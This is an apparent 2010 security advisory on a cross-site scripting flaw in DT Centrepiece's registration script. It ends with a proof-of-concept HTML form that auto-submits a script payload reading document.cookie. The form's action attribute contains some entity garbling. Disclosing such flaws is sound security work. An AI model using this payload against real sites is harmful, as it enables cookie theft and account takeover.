XSS vulnerability in DT Centrepiece

Vulnerability ID: HTB22521
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_dt_centrepiece_2.html
Product: DT Centrepiece
Vendor: DT Services ( http://www.dt.net.nz/ )
Vulnerable Version: 4.5 and Probably Prior Versions
Vendor Notification: 22 July 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the /register.asp script to properly sanitize user-supplied input in multiple variables. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form name="main" method="POST" action="http://host/register.asp&quot;&gt;
<input type="hidden" name="frmRegisterCheck" value="true">
<input type="hidden" name="user" value='"><script>alert(document.cookie)</script>'>
<input type="hidden" name="pass" value="">
<input type="hidden" name="confirmPass" value="">
<input type="hidden" name="FirstName" value="">
<input type="hidden" name="LastName" value="">
<input type="hidden" name="EmailAddress" value="">
<input type="hidden" name="Address" value="">
<input type="hidden" name="Country" value="">
<input type="hidden" name="Landline" value="">
<input type="hidden" name="Mobile" value="">
</form>
<script>
document.main.submit();
</script>